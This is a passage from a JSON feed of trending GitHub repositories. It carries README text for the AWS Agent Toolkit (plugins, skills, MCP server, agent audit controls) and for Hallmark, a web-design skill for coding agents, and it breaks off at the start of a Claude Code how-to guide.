<code>.agents/skills/</code>, <code>.claude/skills/</code>, and <code>.codex/skills/</code>, so a project set up for Codex or Claude Code needs no second copy. Each skill is a directory containing a <code>SKILL.md</code> file and optionally a <code>references/</code> subdirectory with additional context the agent reads from the local filesystem when needed. fx reads skill metadata at startup and loads a skill's instructions when you or the agent invokes it; type <code>$</code> in the composer or run <code>/skills</code> to browse what's installed.</p> \n<blockquote> \n <p><strong>Prerequisites:</strong> You need <a href=\"https://docs.astral.sh/uv/\">uv</a> installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">user guide</a> for detailed setup instructions.</p> \n</blockquote> \n<h3>Other agents</h3> \n<p>See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/getting-started-aws-mcp-server.html\">AWS MCP Server getting started guide</a> for instructions on configuring the AWS MCP Server with your agent.</p> \n<p>Then install skills from this repository:</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills\n</code></pre> \n<blockquote> \n <p><strong>Prerequisites:</strong> You need <a href=\"https://docs.astral.sh/uv/\">uv</a> installed. An AWS account with credentials configured locally is required for API calls and script execution, but not for documentation search or skill discovery. See the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">user guide</a> for detailed setup instructions.</p> \n</blockquote> \n<h2>What's included</h2> \n<h3>Plugins</h3> \n<p>Plugins bundle the AWS MCP Server configuration and agent skills into a single install for your coding agent.</p> \n<table> \n <thead> \n  <tr> \n   <th>Plugin</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-core/\">aws-core</a></td> \n   <td>Core AWS skills and MCP Server configuration. Covers service selection, CDK/CloudFormation, serverless, containers, storage, observability, billing, SDK usage, and deployment. <strong>Start here.</strong></td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-agents/\">aws-agents</a></td> \n   <td>Skills for building AI agents on AWS with Amazon Bedrock and AgentCore.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-data-analytics/\">aws-data-analytics</a></td> \n   <td>Skills for data lake, analytics, and ETL workflows with S3 Tables, AWS Glue, and Athena.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-agents-for-devsecops/\">aws-agents-for-devsecops</a></td> \n   <td>Investigate incidents, review code and execute UAT for release readiness, scan code for vulnerabilities, and run penetration tests with <a href=\"https://aws.amazon.com/devops-agent/?trk=7b4b0d25-1409-441c-b914-c5d08677c376&amp;sc_channel=ghr\">AWS DevOps Agent</a> and <a href=\"https://aws.amazon.com/security-agent/?trk=7b4b0d25-1409-441c-b914-c5d08677c376&amp;sc_channel=ghr\">AWS Security Agent</a>.</td> \n  </tr> \n  <tr> \n   <td><a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/plugins/aws-startup-advisor/\">aws-startup-advisor</a></td> \n   <td>Puts an AWS Startups Solutions Architect in your coding assistant. Recommends the smallest architecture for your stage, credits, and team, then can scaffold it, migrate you from Azure, Google Cloud, or Heroku, move model calls to Amazon Bedrock, investigate production incidents, answer AWS Activate credits eligibility questions, and find startup offers you can use.</td> \n  </tr> \n </tbody> \n</table> \n<p>Plugins are currently available for Claude Code, Codex, Cursor, and Devin. For other agents, configure the AWS MCP Server directly and install skills from this repository.</p> \n<h3>Skills</h3> \n<p>Agent skills are curated packages of instructions and reference materials that help agents complete specific AWS tasks. Skills are loaded on demand \u2014 agents discover and retrieve only what's relevant to the current task.</p> \n<pre><code>npx skills add aws/agent-toolkit-for-aws/skills\n</code></pre> \n<p>Browse the <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/skills/\"><code>skills/</code></a> directory to see all available skills.</p> \n<h3>Rules files</h3> \n<p>Recommended project-level configuration files that tell agents how to use AWS most effectively \u2014 for example, by using the AWS MCP Server, discovering available skills, or searching documentation before acting.</p> \n<p>See <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/rules/\"><code>rules/</code></a> for details.</p> \n<h3>AWS MCP Server</h3> \n<p>The <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/understanding-mcp-server-tools.html\">AWS MCP Server</a> is a managed server that gives agents access to AWS through the Model Context Protocol. It provides:</p> \n<ul> \n <li><strong>Full AWS API coverage</strong> \u2014 Interact with any of the 300+ AWS services through a single authenticated endpoint.</li> \n <li><strong>Sandboxed script execution</strong> \u2014 Agents can run Python scripts in an isolated environment for complex multi-step operations.</li> \n <li><strong>Real-time documentation access</strong> \u2014 Search and retrieve current AWS documentation, API references, and service capabilities without authentication.</li> \n <li><strong>Enterprise controls</strong> \u2014 Amazon CloudWatch metrics, IAM context keys for agent-specific policies, and AWS CloudTrail audit logging.</li> \n</ul> \n<p>For details on operation, available tools, authentication, and supported Regions, see the <a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/understanding-mcp-server-tools.html\">AWS MCP Server documentation</a>.</p> \n<h2>Documentation</h2> \n<ul> \n <li><a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/\">User guide</a> \u2014 Setup, configuration, and reference documentation.</li> \n <li><a href=\"https://docs.aws.amazon.com/agent-toolkit/latest/userguide/understanding-mcp-server-tools.html\">AWS MCP Server tools</a> \u2014 Reference for all available MCP tools.</li> \n</ul> \n<h2>How the Agent Toolkit relates to the MCP servers, skills, and plugins in AWS Labs</h2> \n<p>In 2025, AWS began releasing MCP servers, skills, and plugins as part of <a href=\"https://github.com/awslabs\">AWS Labs</a>. The Agent Toolkit for AWS is the successor to those tools. We recommend using the Agent Toolkit for AWS, because it offers key features including:</p> \n<ul> \n <li>IAM condition keys that distinguish between agent actions and human actions, so you can write policies that apply only to agents. For example, you can write policies that only allow read-only actions through the MCP server, even if the user\u2019s underlying IAM role can take write actions).</li> \n <li>CloudWatch metrics and CloudTrail audit logging for every request, so you can monitor and audit coding agent activity.</li> \n <li>Agent skills that have undergone thorough end-to-end evaluations, so you can be confident that workflows will complete successfully.</li> \n</ul> \n<p><a href=\"https://github.com/awslabs\">AWS Labs</a> MCP servers, skills, and plugins will continue to work and accept contributions, and over time the best of AWS Labs will be transitioned to the Agent Toolkit for AWS to ensure that customers can access the broadest array of tooling and guidance for their agents.</p> \n<h2>License</h2> \n<p>This project is licensed under the Apache-2.0 License. See <a href=\"https://raw.githubusercontent.com/aws/agent-toolkit-for-aws/main/LICENSE\">LICENSE</a> for details.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/Nutlope/hallmark", "url": "https://github.com/Nutlope/hallmark", "external_url": null, "title": "Nutlope/hallmark", "content_text": "", "content_html": "<p>Anti-AI-slop design skill for Claude Code, Cursor, and Codex.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://www.usehallmark.com/\">https://www.usehallmark.com/</a></p><hr /><h1>Hallmark</h1> \n<p><strong>A design skill for Claude Code, Codex, Cursor and OpenCode that refuses to look AI-generated.</strong></p> \n<p><a href=\"https://www.usehallmark.com\">usehallmark.com</a> &nbsp;\u00b7&nbsp; forty-eight themes &nbsp;\u00b7&nbsp; custom on request &nbsp;\u00b7&nbsp; redesign and audit by name</p> \n<p>Made by Together AI.</p> \n<p align=\"center\"> <img alt=\"Hallmark, the design skill that ends AI slop\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/site/OG-hallmark.png\" /> </p> \n<p>Hallmark holds a hard floor and then gets out of the way. It deals three themes from a catalog of forty-eight materials, builds the page around what the visitor came to do, and lints the result in a real browser against the tells that read as machine-made: the eyebrow above every heading, tracked-capital labels, one coloured word in a headline, a page of empty frames or nothing but photographs, a hero that misses its screen, an email sign-up at the end of every page, a form that says thanks without sending anything. A fresh-context reviewer gets the last word.</p> \n<p>The gates come in tiers. The <strong>Floor</strong> never ships (contrast, focus, reduced motion, invented facts, a broken phone layout). <strong>Reflex</strong> gates are the defaults a model falls into; a build with a reason may overrule one on the record. <strong>Finish</strong> checks are craft detail that never blocks a ship.</p> \n<h2>New in v2</h2> \n<ul> \n <li><strong>Forty-eight themes.</strong> Each is a material (paper, type, colour, surfaces, its own components and texture) with a picture of a finished page, and the build lays out its own page in it.</li> \n <li><strong>Built from the job.</strong> A booking page books, a shop sells, a newsletter subscribes: the action sits where the category puts it, and the page ends on it.</li> \n <li><strong>Custom.</strong> Ask for a custom page and Hallmark designs from your prompt alone, under the same rules and checks.</li> \n <li><strong>Your real product.</strong> Point it at a URL, a dev server or an app and it captures the screenshots itself.</li> \n <li><strong>Real photographs.</strong> 755 openly licensed photos, picked per subject and credited on the page.</li> \n <li><strong>Redesign and audit.</strong> <code>/hallmark redesign &lt;path&gt;</code> rebuilds a page and keeps its content and wiring; <code>/hallmark audit &lt;path&gt;</code> only reports.</li> \n</ul> \n<h2>Themes</h2> \n<table> \n <tbody>\n  <tr> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/dusk/\"><img alt=\"Dusk theme: Closewise, bank reconciliation\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/dusk.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/cobalt/\"><img alt=\"Cobalt theme: Relay, a webhook API\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/cobalt.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/studio/\"><img alt=\"Studio theme: Field Office, an identity studio\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/studio.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/atelier/\"><img alt=\"Atelier theme: Maison Orla, a fragrance atelier\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/atelier.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/ribbon/\"><img alt=\"Ribbon theme: Lull, a sleep sounds app\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/ribbon.jpg\" /></a></td> \n  </tr> \n  <tr> \n   <td><b>Dusk</b><br /><sub>Closewise, bank reconciliation</sub></td> \n   <td><b>Cobalt</b><br /><sub>Relay, a webhook API</sub></td> \n   <td><b>Studio</b><br /><sub>Field Office, an identity studio</sub></td> \n   <td><b>Atelier</b><br /><sub>Maison Orla, a fragrance atelier</sub></td> \n   <td><b>Ribbon</b><br /><sub>Lull, a sleep sounds app</sub></td> \n  </tr> \n  <tr> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/furrow/\"><img alt=\"Furrow theme: Fieldbook, farm records\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/furrow.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/dose/\"><img alt=\"Dose theme: Tandem, a family medication app\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/dose.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/hum/\"><img alt=\"Hum theme: Sprout, a reading game for kids\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/hum.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/terminal/\"><img alt=\"Terminal theme: burrow, a dotfiles CLI\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/terminal.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/hedgerow/\"><img alt=\"Hedgerow theme: Five Mile Gin, a distillery\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/hedgerow.jpg\" /></a></td> \n  </tr> \n  <tr> \n   <td><b>Furrow</b><br /><sub>Fieldbook, farm records</sub></td> \n   <td><b>Dose</b><br /><sub>Tandem, a family medication app</sub></td> \n   <td><b>Hum</b><br /><sub>Sprout, a reading game for kids</sub></td> \n   <td><b>Terminal</b><br /><sub>burrow, a dotfiles CLI</sub></td> \n   <td><b>Hedgerow</b><br /><sub>Five Mile Gin, a distillery</sub></td> \n  </tr> \n </tbody>\n</table> \n<p>Ten of the forty-eight. A theme is a material, not a plan: it never says what a page contains or in what order, so two prompts in one theme make two different pages. Each is one file of at most 8 KB in <a href=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/skills/hallmark/references/themes/\"><code>references/themes/</code></a> with a picture beside it; a build reads exactly one. See them all at <a href=\"https://www.usehallmark.com\">usehallmark.com</a>.</p> \n<h2>Custom</h2> \n<p>Say <strong>custom</strong> and Hallmark drops the themes: no plan, no components, no palette recipe, only the floor, the gates and a short direction in <a href=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/skills/hallmark/references/direction.md\"><code>direction.md</code></a> to find one idea that only this client has and let it run the page.</p> \n<h2>How a build runs</h2> \n<ol> \n <li>Pre-flight reads the project (fonts, palette, framework, a locked <code>design.md</code>) and asks once for the material: photos, screenshots, real numbers. Nothing is invented.</li> \n <li><code>scripts/theme.mjs deal</code> offers three themes that fit the prompt and clear the log; <code>draw</code> deals the page's anatomy from its job.</li> \n <li>The hero is built alone, rendered and reviewed cold before the rest of the page exists.</li> \n <li><code>scripts/sloplint.mjs --render</code> checks the page at eight widths, then a subagent reviews it with fresh eyes.</li> \n</ol> \n<p>Each page is self-contained HTML and CSS, stamped in its first CSS comment with the decisions it took.</p> \n<h2>Redesign</h2> \n<p>Hallmark never starts on a design that already exists unless you name it:</p> \n<pre><code>/hallmark redesign ./src/app\n/hallmark audit ./index.html\n</code></pre> \n<p>A full redesign keeps the content and the wiring and changes the system and the layout; say <em>keep the layout</em> for a restyle or <em>polish</em> for only the tells. <code>sloplint --before</code> records every link, field, handler and heading first, <code>sloplint --kept</code> fails the redesign if one went missing, and the handoff is a side-by-side before and after.</p> \n<h2>Install</h2> \n<pre><code>npx skills add nutlope/hallmark -g\n</code></pre> \n<p><code>-g</code> installs for every project; leave it off to install into the current one. Needs Node 18 or later. The browser checks (<code>sloplint --render</code>, screenshots) also need <code>npm i -g puppeteer-core</code> and Chrome; without them the static checks still run.</p> \n<table> \n <thead> \n  <tr> \n   <th>Harness</th> \n   <th>Lands in</th> \n   <th>Invoke</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Claude Code</td> \n   <td><code>~/.claude/skills/hallmark</code></td> \n   <td><code>/hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n  <tr> \n   <td>Codex CLI</td> \n   <td><code>~/.agents/skills/hallmark</code></td> \n   <td><code>$hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n  <tr> \n   <td>Cursor</td> \n   <td>finds the copies above</td> \n   <td><code>/hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n  <tr> \n   <td>OpenCode</td> \n   <td>finds the copies above</td> \n   <td><code>/hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n </tbody> \n</table> \n<ul> \n <li><strong>One harness only:</strong> <code>npx skills add nutlope/hallmark -g --agent claude-code</code> (or <code>codex</code>, <code>opencode</code>, <code>cursor</code>, <code>github-copilot</code>).</li> \n <li><strong>As a Claude Code plugin:</strong> <code>/plugin marketplace add nutlope/hallmark</code>, then <code>/plugin install hallmark@hallmark</code> (invoked as <code>/hallmark:hallmark</code>).</li> \n <li><strong>From a clone:</strong> <code>node skills/hallmark/scripts/install.mjs</code> validates every theme and reference before it copies; <code>install-hook.mjs</code> adds an edit-time Floor check to Claude Code.</li> \n <li><strong>Lint any page:</strong> <code>node skills/hallmark/scripts/sloplint.mjs &lt;file-or-dir&gt; --render</code>.</li> \n <li><strong>If it does not fire on its own,</strong> name it: <em>use hallmark to build ...</em>.</li> \n</ul> \n<h2>Licence</h2> \n<p>MIT. Use it, fork it, ship it.</p> \n<p>The photo library (<code>skills/hallmark/scripts/photos.json</code>) lists photographs hosted on Wikimedia Commons and holds no image files. Each keeps its own licence (CC0, public domain, CC BY or CC BY-SA), and Hallmark credits every one it uses on the page. It does not use stock sites (Unsplash, Pexels, Pixabay), whose terms bar AI tools from picking their images.</p>", "summary": "<p>Anti-AI-slop design skill for Claude Code, Cursor, and Codex.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://www.usehallmark.com/\">https://www.usehallmark.com/</a></p><hr /><h1>Hallmark</h1> \n<p><strong>A design skill for Claude Code, Codex, Cursor and OpenCode that refuses to look AI-generated.</strong></p> \n<p><a href=\"https://www.usehallmark.com\">usehallmark.com</a> &nbsp;\u00b7&nbsp; forty-eight themes &nbsp;\u00b7&nbsp; custom on request &nbsp;\u00b7&nbsp; redesign and audit by name</p> \n<p>Made by Together AI.</p> \n<p align=\"center\"> <img alt=\"Hallmark, the design skill that ends AI slop\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/site/OG-hallmark.png\" /> </p> \n<p>Hallmark holds a hard floor and then gets out of the way. It deals three themes from a catalog of forty-eight materials, builds the page around what the visitor came to do, and lints the result in a real browser against the tells that read as machine-made: the eyebrow above every heading, tracked-capital labels, one coloured word in a headline, a page of empty frames or nothing but photographs, a hero that misses its screen, an email sign-up at the end of every page, a form that says thanks without sending anything. A fresh-context reviewer gets the last word.</p> \n<p>The gates come in tiers. The <strong>Floor</strong> never ships (contrast, focus, reduced motion, invented facts, a broken phone layout). <strong>Reflex</strong> gates are the defaults a model falls into; a build with a reason may overrule one on the record. <strong>Finish</strong> checks are craft detail that never blocks a ship.</p> \n<h2>New in v2</h2> \n<ul> \n <li><strong>Forty-eight themes.</strong> Each is a material (paper, type, colour, surfaces, its own components and texture) with a picture of a finished page, and the build lays out its own page in it.</li> \n <li><strong>Built from the job.</strong> A booking page books, a shop sells, a newsletter subscribes: the action sits where the category puts it, and the page ends on it.</li> \n <li><strong>Custom.</strong> Ask for a custom page and Hallmark designs from your prompt alone, under the same rules and checks.</li> \n <li><strong>Your real product.</strong> Point it at a URL, a dev server or an app and it captures the screenshots itself.</li> \n <li><strong>Real photographs.</strong> 755 openly licensed photos, picked per subject and credited on the page.</li> \n <li><strong>Redesign and audit.</strong> <code>/hallmark redesign &lt;path&gt;</code> rebuilds a page and keeps its content and wiring; <code>/hallmark audit &lt;path&gt;</code> only reports.</li> \n</ul> \n<h2>Themes</h2> \n<table> \n <tbody>\n  <tr> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/dusk/\"><img alt=\"Dusk theme: Closewise, bank reconciliation\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/dusk.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/cobalt/\"><img alt=\"Cobalt theme: Relay, a webhook API\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/cobalt.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/studio/\"><img alt=\"Studio theme: Field Office, an identity studio\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/studio.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/atelier/\"><img alt=\"Atelier theme: Maison Orla, a fragrance atelier\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/atelier.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/ribbon/\"><img alt=\"Ribbon theme: Lull, a sleep sounds app\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/ribbon.jpg\" /></a></td> \n  </tr> \n  <tr> \n   <td><b>Dusk</b><br /><sub>Closewise, bank reconciliation</sub></td> \n   <td><b>Cobalt</b><br /><sub>Relay, a webhook API</sub></td> \n   <td><b>Studio</b><br /><sub>Field Office, an identity studio</sub></td> \n   <td><b>Atelier</b><br /><sub>Maison Orla, a fragrance atelier</sub></td> \n   <td><b>Ribbon</b><br /><sub>Lull, a sleep sounds app</sub></td> \n  </tr> \n  <tr> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/furrow/\"><img alt=\"Furrow theme: Fieldbook, farm records\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/furrow.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/dose/\"><img alt=\"Dose theme: Tandem, a family medication app\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/dose.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/hum/\"><img alt=\"Hum theme: Sprout, a reading game for kids\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/hum.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/terminal/\"><img alt=\"Terminal theme: burrow, a dotfiles CLI\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/terminal.jpg\" /></a></td> \n   <td width=\"20%\"><a href=\"https://www.usehallmark.com/themes/hedgerow/\"><img alt=\"Hedgerow theme: Five Mile Gin, a distillery\" src=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/docs/screenshots/hedgerow.jpg\" /></a></td> \n  </tr> \n  <tr> \n   <td><b>Furrow</b><br /><sub>Fieldbook, farm records</sub></td> \n   <td><b>Dose</b><br /><sub>Tandem, a family medication app</sub></td> \n   <td><b>Hum</b><br /><sub>Sprout, a reading game for kids</sub></td> \n   <td><b>Terminal</b><br /><sub>burrow, a dotfiles CLI</sub></td> \n   <td><b>Hedgerow</b><br /><sub>Five Mile Gin, a distillery</sub></td> \n  </tr> \n </tbody>\n</table> \n<p>Ten of the forty-eight. A theme is a material, not a plan: it never says what a page contains or in what order, so two prompts in one theme make two different pages. Each is one file of at most 8 KB in <a href=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/skills/hallmark/references/themes/\"><code>references/themes/</code></a> with a picture beside it; a build reads exactly one. See them all at <a href=\"https://www.usehallmark.com\">usehallmark.com</a>.</p> \n<h2>Custom</h2> \n<p>Say <strong>custom</strong> and Hallmark drops the themes: no plan, no components, no palette recipe, only the floor, the gates and a short direction in <a href=\"https://raw.githubusercontent.com/Nutlope/hallmark/main/skills/hallmark/references/direction.md\"><code>direction.md</code></a> to find one idea that only this client has and let it run the page.</p> \n<h2>How a build runs</h2> \n<ol> \n <li>Pre-flight reads the project (fonts, palette, framework, a locked <code>design.md</code>) and asks once for the material: photos, screenshots, real numbers. Nothing is invented.</li> \n <li><code>scripts/theme.mjs deal</code> offers three themes that fit the prompt and clear the log; <code>draw</code> deals the page's anatomy from its job.</li> \n <li>The hero is built alone, rendered and reviewed cold before the rest of the page exists.</li> \n <li><code>scripts/sloplint.mjs --render</code> checks the page at eight widths, then a subagent reviews it with fresh eyes.</li> \n</ol> \n<p>Each page is self-contained HTML and CSS, stamped in its first CSS comment with the decisions it took.</p> \n<h2>Redesign</h2> \n<p>Hallmark never starts on a design that already exists unless you name it:</p> \n<pre><code>/hallmark redesign ./src/app\n/hallmark audit ./index.html\n</code></pre> \n<p>A full redesign keeps the content and the wiring and changes the system and the layout; say <em>keep the layout</em> for a restyle or <em>polish</em> for only the tells. <code>sloplint --before</code> records every link, field, handler and heading first, <code>sloplint --kept</code> fails the redesign if one went missing, and the handoff is a side-by-side before and after.</p> \n<h2>Install</h2> \n<pre><code>npx skills add nutlope/hallmark -g\n</code></pre> \n<p><code>-g</code> installs for every project; leave it off to install into the current one. Needs Node 18 or later. The browser checks (<code>sloplint --render</code>, screenshots) also need <code>npm i -g puppeteer-core</code> and Chrome; without them the static checks still run.</p> \n<table> \n <thead> \n  <tr> \n   <th>Harness</th> \n   <th>Lands in</th> \n   <th>Invoke</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Claude Code</td> \n   <td><code>~/.claude/skills/hallmark</code></td> \n   <td><code>/hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n  <tr> \n   <td>Codex CLI</td> \n   <td><code>~/.agents/skills/hallmark</code></td> \n   <td><code>$hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n  <tr> \n   <td>Cursor</td> \n   <td>finds the copies above</td> \n   <td><code>/hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n  <tr> \n   <td>OpenCode</td> \n   <td>finds the copies above</td> \n   <td><code>/hallmark &lt;prompt&gt;</code> or describe a new build</td> \n  </tr> \n </tbody> \n</table> \n<ul> \n <li><strong>One harness only:</strong> <code>npx skills add nutlope/hallmark -g --agent claude-code</code> (or <code>codex</code>, <code>opencode</code>, <code>cursor</code>, <code>github-copilot</code>).</li> \n <li><strong>As a Claude Code plugin:</strong> <code>/plugin marketplace add nutlope/hallmark</code>, then <code>/plugin install hallmark@hallmark</code> (invoked as <code>/hallmark:hallmark</code>).</li> \n <li><strong>From a clone:</strong> <code>node skills/hallmark/scripts/install.mjs</code> validates every theme and reference before it copies; <code>install-hook.mjs</code> adds an edit-time Floor check to Claude Code.</li> \n <li><strong>Lint any page:</strong> <code>node skills/hallmark/scripts/sloplint.mjs &lt;file-or-dir&gt; --render</code>.</li> \n <li><strong>If it does not fire on its own,</strong> name it: <em>use hallmark to build ...</em>.</li> \n</ul> \n<h2>Licence</h2> \n<p>MIT. Use it, fork it, ship it.</p> \n<p>The photo library (<code>skills/hallmark/scripts/photos.json</code>) lists photographs hosted on Wikimedia Commons and holds no image files. Each keeps its own licence (CC0, public domain, CC BY or CC BY-SA), and Hallmark credits every one it uses on the page. It does not use stock sites (Unsplash, Pexels, Pixabay), whose terms bar AI tools from picking their images.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/luongnv89/claude-howto", "url": "https://github.com/luongnv89/claude-howto", "external_url": null, "title": "luongnv89/claude-howto", "content_text": "", "content_html": "<p>A visual, example-driven guide to Claude Code \u2014 from basic concepts to advanced agents, with copy-paste templates that bring immediate value.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"http://luongnv.com/claude-howto/\">http://luongnv.com/claude-howto/</a></p><hr /> \n <source media=\"(prefers-color-scheme: dark)\" /> \n <img alt=\"Claude How To\" src=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/resources/logos/claude-howto-logo.svg?sanitize=true\" /> \n \n<p align=\"center\"> <a href=\"https://github.com/trending\"> <img src=\"https://img.shields.io/badge/GitHub-%F0%9F%94%A5%2520%25231%2520Trending-purple?style=for-the-badge&amp;logo=github\" /> </a> </p> \n<p><a href=\"https://github.com/luongnv89/claude-howto/stargazers\"><img alt=\"GitHub Stars\" src=\"https://img.shields.io/github/stars/luongnv89/claude-howto?style=flat&amp;color=gold\" /></a> <a href=\"https://github.com/luongnv89/claude-howto/network/members\"><img alt=\"GitHub Forks\" src=\"https://img.shields.io/github/forks/luongnv89/claude-howto?style=flat\" /></a> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/LICENSE\"><img alt=\"License: MIT\" src=\"https://img.shields.io/badge/License-MIT-blue.svg?sanitize=true\" /></a> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/CHANGELOG.md\"><img alt=\"Version\" src=\"https://img.shields.io/badge/version-2.1.302-brightgreen\" /></a> <a href=\"https://code.claude.com\"><img alt=\"Claude Code\" src=\"https://img.shields.io/badge/Claude_Code-2.1+-purple\" /></a></p> \n<p>\ud83c\udf10 <strong>Language / Ng\u00f4n ng\u1eef / \u8bed\u8a00 / \u041c\u043e\u0432\u0430:</strong> <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/README.md\">English</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/vi/README.md\">Ti\u1ebfng Vi\u1ec7t</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/zh/README.md\">\u4e2d\u6587</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/uk/README.md\">\u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430</a> | <a href=\"https://raw.githubusercontent.com/luongnv89/claude-howto/main/ja/README.md\">\u65e5\u672c\u8a9e</a></p> \n<h1>Master Claude Code in a Weekend</h1> \n<p>Go from typing <code>claude</code> to orchestrating agents, hooks, skills, and MCP servers \u2014 with visual tutorials, copy-paste templates, and a guided learning path.</p> \n<p><strong><a 